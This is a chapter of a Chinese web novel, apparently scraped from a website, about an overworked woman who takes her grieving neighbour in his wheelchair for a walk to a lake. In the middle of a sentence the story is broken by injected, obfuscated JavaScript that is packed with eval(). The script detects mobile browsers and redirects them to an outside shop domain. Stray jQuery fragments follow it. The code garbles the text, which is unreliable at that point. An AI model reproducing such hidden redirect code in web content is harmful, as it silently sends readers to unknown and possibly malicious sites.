依旧是睡到中午才清醒,姜夏在床上扭曲地伸了个懒腰。

    窗帘被风吹得摇摇晃晃,漏进来的光隔着眼皮都觉得刺眼,条件反射地抬起抻到头顶的手试图挡住晃眼的亮堂。

    她跟眼皮斗争好一会试图睁开眼。

    光线细细碎碎地从手指缝隙继续洒下,姜夏不知道自己的遮挡算不算起了作用,手微微收拢,这算是自己抓住了光还是被光冲破了一层又一层的阻碍呢?

    轻踢了下搁在脚边的毛团,毛团把头埋得更深。

    好吧。

    姜夏没有拉开窗帘,把猫粮和水倒好,一边洗漱一边做今日规划。

    不知道毛豆什么时候回来的,这一趟回来收获了什么。

    自己这样无所事事下去总觉得有些不安,哪怕是没有报酬做好人好事,也应该要推进一下邻居哥的项目了。

    打定主意的姜夏简单吃过午饭后,就按响了项目伙伴的门铃。

    等待的时间太过漫长。

    姜夏甚至开始怀疑自己是不是没有主动上门得罪了他,导致今天要吃一个闭门羹的时候,门终于开了。

    黑漆漆的房间,男人面色透着不健康的苍白,颓废地坐在轮椅上,活像幽魂漂浮在半空,无法落地行走,也没有东西倚靠。

    “你来了啊。”男人的声音嘶哑,语气却尽量放缓,显得有些沉闷。

    姜夏的心脏被飘浮而来的帅气男鬼吓了一大跳。

    人熬夜后的气色差居然这么明显,难怪领导找她分加班任务的时候都再三慰问,她还以为是领导兽良心发现,现在回想起来分明是怕她享福去了啊……

    “那个,你是把夜熬穿了吗?”姜夏斟酌着,“要不你先休息,明天我再来找你。”

    “没事……”

    “快把他带出门。”

    道长叼起木牌,甩到男人怀里,站起来费力地在轮椅背后使劲。

    姜夏被突如其来的变故吓得连连后退。

    “砰”

    道长毫不留情地把门关上。

    回过神来的时候,两人已经在走廊过道里相对无言了。

    晴朗的日光散射进楼道里,足以把一切照得一览无遗,道长的那一推,更像是把一只孤魂从黑暗的漩涡里推回了清晰的人世间。

    江承训苦恼地揉了揉眉心,消化自己被一只猫赶出家门的事实。

    道长是母亲养的猫,那时候他刚上初中,放学回到家看到这只带着滑稽胡子的奶牛小猫,笑到肚子痛都没能停下。

    道长的名字还是他取的,因为不管他怎么逗弄小猫,它都透露出了与年纪不符的沉稳。

    名字得到了大家的一致认同,母亲还夸名字取得好,不仅形象而且仙风道骨,而且寓意也好,总让人觉得小猫能长长久久活下去。

    小猫还在,母亲却……

    苦涩涌上心头,原来连母亲留下的猫也无法忍受自己了吗?

    江承训垂头丧气,沉浸在巨大的失落中。

    见江承训没有回家的意思,姜夏思忖了一会,今天日头正好,出去逛逛补充补充维d也不错。

    她换好运动鞋,戴上人牌,往印满不知名野花的小清新帆布袋里装进椰子水、纸巾、防身的雨伞、冻干。

    姜夏对自己的双重保障很满意,进可攻退可守,一溜把袋子套进轮椅背后推手的把手扶柄里,就顺畅地推着男人来到了小区里。

    小区的绿植生机勃勃,偶有几只早醒的蝉藏在不知道哪个角落里不成气候地鸣叫,靠得近了才能听清楚。

    瞅着江承训头顶的漩涡,姜夏心中长吁了一口气,还好没凑齐盛夏,蝉鸣,少年几个关键要素。

    小区里的绿化很好,但是夏季的蝉鸣也是真恼人,她实在不能理解这种白噪音。

    姜夏当初拿着手里攒下的钱,实地不知道跑了多少个小区,最后看中了这里的绿化敲定下来,付了首付,就是觉得这里的绿意能让自己安心,

    谁知道后来工作量陡然增加,整日匆匆忙忙,根本没机会看清小区的绿植,睡眠浅的自己还总被蝉鸣弄得不得安眠。

    姜夏推着轮椅,觉得自己像是在参加帮助残障人士公益活动的志愿者。

    大学的时候舍友为了学分参加了不少活动,有时候是4点就要早起的马拉松志愿者,有时是去敬老院给老人家表演,公众号的合照里舍友站在轮椅老人的身后,舍友还会跟她抱怨照片拍得太丑。

    姜夏没参加过这样的活动,任何要耗费大量时间却没有实际收益的活动,那时候都让她觉得在浪费时间,她忙着养活自己,忙着早点把助学贷款的钱还清,根本无暇去让自己的大

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678047|207577||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    学生活变得多姿多彩,无论是积极向上的还是堕落沉沦的,她都没空。

    她有些恍惚,现在快三十岁了,倒是把二十多岁时没做过的公益活动补上了。

    “你要带我去哪里?”

    姜夏步履轻快,把轮椅推得飞起,景色在不停地后退,忧郁男人无法继续犹豫了,再晚一点,到了那个下坡,继续往下就是人工湖了。

    “啊哈哈哈…….随便逛逛,熟悉熟悉小区。”

    被抓包走神的姜夏急中生智,使出转移注意力大法,把话题抛回去“你之前逛过吗?”

    “我想你应该没有在业主群里刷到过有人在小区里爬行吧?”

    “噢噢……我以为之前有人照顾……不是……我的意思是搬进来前你有熟悉过小区吗?”

    “没有。”还没来得及。

    房子是母亲给他准备的毕业礼物,但母亲没能等到旅行回来。

    抵达坡沿,姜夏码住轮椅,带动轮轴一起调转方向,小心地带着轮椅上的人一起缓慢向湖边倒退下行。

    在湖边找到一个树荫下的木椅,姜夏把轮椅停靠在旁边的草坪里,闭眼静默地靠在椅背上,体验没有加班的话,早就应该享受到的惬意。

    湖边的微风阵阵,杨柳依依,水光粼粼,反射的金光透过眼皮,照耀得整个世界一片亮红,像在不断燃烧。

    “你呢?”

    姜夏疑惑地睁眼看向他。

    “你好像也不太熟悉这儿,为什么呢?”

    “没空,一直在加班。”

    姜夏张了张口,想继续补充,太忙了,忙着996,忙着一直往前赶,忙着给自己挣一个安稳的栖身之所,忙到…..没有任何精力分给自己的生活。

    但是真的吗?

    她已经住在自己的公寓里,把户口迁到这座城市,手里有一定的存款,仍旧每天都在为未来感到焦灼,好像把脚步停下来也是一种罪恶,有怪物会追上来把她拖回到那个痛苦的地方,停下来就再也不会有明天和未来。

    自己的不安已经没有了具体来源。诉说既并不会让别人理解,也不会让自己有所缓解。

    把过往撕开给别人看,大多数情况下,除了把上位者的权利又一次拱手让人,毫无意义。

    姜夏转头看向湖面,没有继续说下去。